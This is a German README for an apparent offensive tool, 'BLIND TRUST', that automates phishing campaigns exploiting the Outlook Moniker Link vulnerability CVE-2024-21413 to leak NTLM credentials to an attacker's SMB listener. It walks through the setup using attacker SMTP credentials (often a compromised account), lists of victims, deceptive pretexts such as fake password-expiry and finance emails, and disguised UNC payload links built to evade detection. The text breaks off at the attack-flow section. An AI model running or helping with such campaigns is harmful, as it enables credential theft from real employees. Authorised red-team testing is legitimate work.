BLIND TRUST - Moniker-Link-Phishing-Engagement-Framework

Ein Sicherheitsforschungs-Tool zur Simulation gezielter Phishing-Kampagnen mithilfe der CVE-2024-21413 Moniker-Link-Schwachstelle. Entwickelt für autorisierte Red-Team-Operationen, Penetrationstests und Security-Awareness-Training.

Übersicht

BLIND TRUST ist ein Phishing-Engagement-Framework, das Sicherheitsteams dabei hilft, ihre Abwehrmaßnahmen gegen hochentwickelte E-Mail-basierte Angriffe zu verstehen und zu testen. Es nutzt die Moniker-Link-Technik, um die Geschützte Ansicht von Outlook zu umgehen, und bietet eine realistische Angriffssimulation, mit der Organisationen ihre Sicherheitslage stärken können.

Dieses Tool automatisiert den gesamten Kampagnen-Workflow – von der Konfiguration bis zur E-Mail-Zustellung – und wahrt dabei die operative Sicherheit durch anpassbare UNC-Pfade und flexible Pretext-Optionen.

Zweck

Organisationen müssen echte Angriffstechniken verstehen, um sich wirksam zu verteidigen. TRUST ermöglicht:

• Red-Team-Operationen – Durchführung autorisierter Phishing-Kampagnen im Rahmen von Sicherheitsbewertungen
• Security-Awareness-Training – Demonstration realer Angriffsvektoren gegenüber Mitarbeitern
• Schwachstellenvalidierung – Test der Erkennungsfähigkeiten gegen bekannte Techniken
• Abwehrforschung – Verständnis des Moniker-Link-Verhaltens in Ihrer Umgebung

Funktionen

• Multi-Target-Kampagnen – Versand von Phishing-E-Mails an mehrere Ziele mit einer einzigen Konfiguration
• Flexibles Zielladen – Laden von Zielen per interaktiver Eingabe oder über Wordlist-.txt-Dateien
• Anpassbarer Pretext – Kontrolle über E-Mail-Betreff, Absendername und Nachrichtentext
• Unauffällige UNC-Pfade – Anpassen des Moniker-Link-Pfads, damit er realistisch wirkt (Domäne, Freigabename, Exploit-Name)
• SMTP-Authentifizierung – Unterstützung verschiedener SMTP-Server mit TLS-Aushandlung
• Automatische Wiederholungslogik – Exponentieller Backoff bei vorübergehenden SMTP-Fehlern
• Kampagnen-Berichterstattung – Zustellstatus pro Ziel mit aggregierten Ergebnissen
• Keine fest codierten Signaturen – Eliminierung offensichtlicher Indikatoren, die die Technik verraten

Installation

Anforderungen

• Python 3.7+
• Nur Standardbibliothek (keine externen Abhängigkeiten)

Einrichtung

# Clone the repository
git clone https://github.com/h1ssbl1tz/Blind-Trust.git
cd TRUST

# Run the tool
python3 TRUST_v7.py

Anforderungen

Das Tool verwendet ausschließlich Module aus der Python-Standardbibliothek:

getpass      - Secure password input
html         - HTML escaping
ipaddress    - IP address validation
logging      - Structured logging
os           - File operations
re           - Regular expressions
signal       - Signal handling
smtplib      - SMTP email protocol
sys          - System utilities
time         - Time operations
dataclasses  - Configuration modeling
email        - MIME email construction
typing       - Type hints

Keine externen Pakete erforderlich – läuft überall mit Python 3.7+.

Schnellstart

python3 TRUST_v7.py

Folgen Sie dem interaktiven Assistenten durch 5 Schritte:

1. Angreifer-Anmeldedaten – SMTP-Konto zum Senden von E-Mails
2. SMB-Listener-Einrichtung – IP-Adresse, mit der sich Ziele verbinden werden
3. Zielkonfiguration – Laden von Opfern aus Eingabe oder Wordlist-Datei
4. E-Mail-Anpassung – Betreff, Absendername und Nachrichtentext
5. Payload-Anpassung – UNC-Pfad-Host, Freigabe- und Exploit-Namen

Anwendungsbeispiele

Beispiel 1: Interaktive Eingabe (kleine Kampagne)

Load targets from [f]ile or [i]nput directly?: i
Target email address(es): [email protected], [email protected]

Email subject [Security Update Required]: Urgent: Password Expiration Notice
Display name (From field) [Microsoft Security Center]: IT Security Team
Email body text: Your password expires in 24 hours. Please update immediately.

UNC host (IP or domain) [192.168.1.100]: it-internal.company.com
UNC share name [updates]: patches
UNC exploit name [patch]: kb_security_2024

Beispiel 2: Laden aus einer Wordlist (große Kampagne)

Erstellen Sie targets.txt:

# Finance Department
[email protected]
[email protected]
[email protected]

# Accounting
[email protected]
[email protected]

Führen Sie dann aus:

Load targets from [f]ile or [i]nput directly?: f
Path to targets file: targets.txt
[+] Loaded 5 target(s) from targets.txt

Beispiel 3: Realistischer Finanz-Pretext

Email subject: Q3 Financial Review - Action Required
Display name: Finance Operations Team
Email body: Please review the attached Q3 financial statement and provide approval.

UNC host: finance-internal.company.com
UNC share: quarterly
UNC exploit: q3_financial_report

Generated UNC path: file://finance-internal.company.com/quarterly!q3_financial_report

Konfiguration im Detail

SCHRITT 1: Angreifer-Anmeldedaten

• Angreifer-E-Mail: Die E-Mail-Adresse, die zum Senden von Phishing-E-Mails verwendet wird (in der Regel ein kompromittiertes oder gespooftes Konto)
• SMTP-Passwort: Authentifizierungsnachweis für den Mailserver

SCHRITT 2: SMB-Listener

• SMB-Listener-IP: Die IP-Adresse, auf der Ihr SMB-Listener (z. B. Responder, impacket-smbserver) läuft. Ziele werden versuchen, sich hier zu verbinden, wenn sie den Moniker-Link anklicken.

SCHRITT 3: Zielkonfiguration

Zwei Optionen:

• Interaktive Eingabe: E-Mails direkt einfügen (durch Kommas oder Zeilenumbrüche getrennt)
• Wordlist-Datei: Laden aus einer .txt-Datei mit einer E-Mail pro Zeile, Kommentare beginnen mit #

SCHRITT 4: E-Mail-Anpassung

• Betreff: Betreffzeile der E-Mail (CVE-Bezüge vermeiden; geschäftlich halten)
• Anzeigename (Absender): Der Anzeigename, der im E-Mail-Kopf angezeigt wird
• E-Mail-Text: Der Pretext-Text, der erklärt, warum Ziele auf den Link klicken sollten

SCHRITT 5: Payload-Anpassung

Hier vermeiden Sie offensichtliche Signaturen:

• UNC-Host: Verwenden Sie eine realistische Domäne oder Subdomäne (z. B. finance-internal.company.com) anstelle einer bloßen IP
• UNC-Freigabe: Realistischer Freigabename wie quarterly, updates, documents
• UNC-Exploit: Realistischer Dateiname wie q3_report, security_patch, training_document

Ergebnis: Statt des offensichtlichen \\192.168.1.100\share!exploit erhalten Sie etwa file://finance-internal.company.com/quarterly!q3_report.

Ausführungsablauf

Start
  ↓
[STEP 1] Prompt for attacker email and SMTP password
  ↓
[STEP 2] Prompt for SMB listener IP
  ↓
[STEP 3] Load target emails (file or input)
  ↓
     ↓→ For each target:
     │  - Validate email format
     │  - Check for duplicates
     │
[STEP 4] Prompt for email pretext
     │  - Subject, From name, body text
     │
[STEP 5] Prompt for UNC path customization
     │  - Host, share, exploit name
     │
  ↓
[BUILD] Construct configuration object
  ↓
[VALIDATE] Check all fields are present and valid
  ↓
[SUMMARY] Display pre-send summary for review
  ↓
[CONFIRM] User approves or cancels
  ↓
[SEND] For each target:
     │  - Build MIME email with custom Moniker Link
     │  - Attempt SMTP delivery with retry logic
     │  - Log per-target success/failure
     │
  ↓
[REPORT] Display campaign results (delivered vs failed)
  ↓
Exit

So funktioniert es

Die Schwachstelle

CVE-2024-21413 (Moniker Link) ist eine Outlook-Schwachstelle, die das Einbetten von file://-URLs mit einem !-Zeichen ermöglicht. Wenn ein Benutzer auf einen solchen Link klickt, versucht Outlook, auf den UNC-Pfad zuzugreifen, was selbst im Modus „Geschützte Ansicht“ einen NTLM-Authentifizierungsversuch auslöst.

Angriffsablauf